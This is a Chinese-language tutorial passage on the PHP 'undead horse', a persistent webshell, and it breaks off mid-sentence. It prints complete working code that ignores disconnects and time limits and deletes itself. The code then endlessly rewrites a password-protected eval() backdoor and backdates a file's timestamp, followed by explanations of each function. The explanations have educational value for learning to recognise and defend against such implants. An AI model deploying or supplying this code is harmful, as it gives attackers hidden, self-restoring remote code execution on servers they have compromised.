什么是不死马?
内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行。
生成过程
不死马.php → 上传到server → server执行文件 → server本地无限循环生成 (一句话.php)
两种不死马
网上流传的不死马
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .2.php');
usleep(5000);
}
?>
ignore_user_abort(true);
函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit()
函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__)
删除文件本身,以起到隐蔽自身的作用。
while
循环内每隔usleep(5000)即写新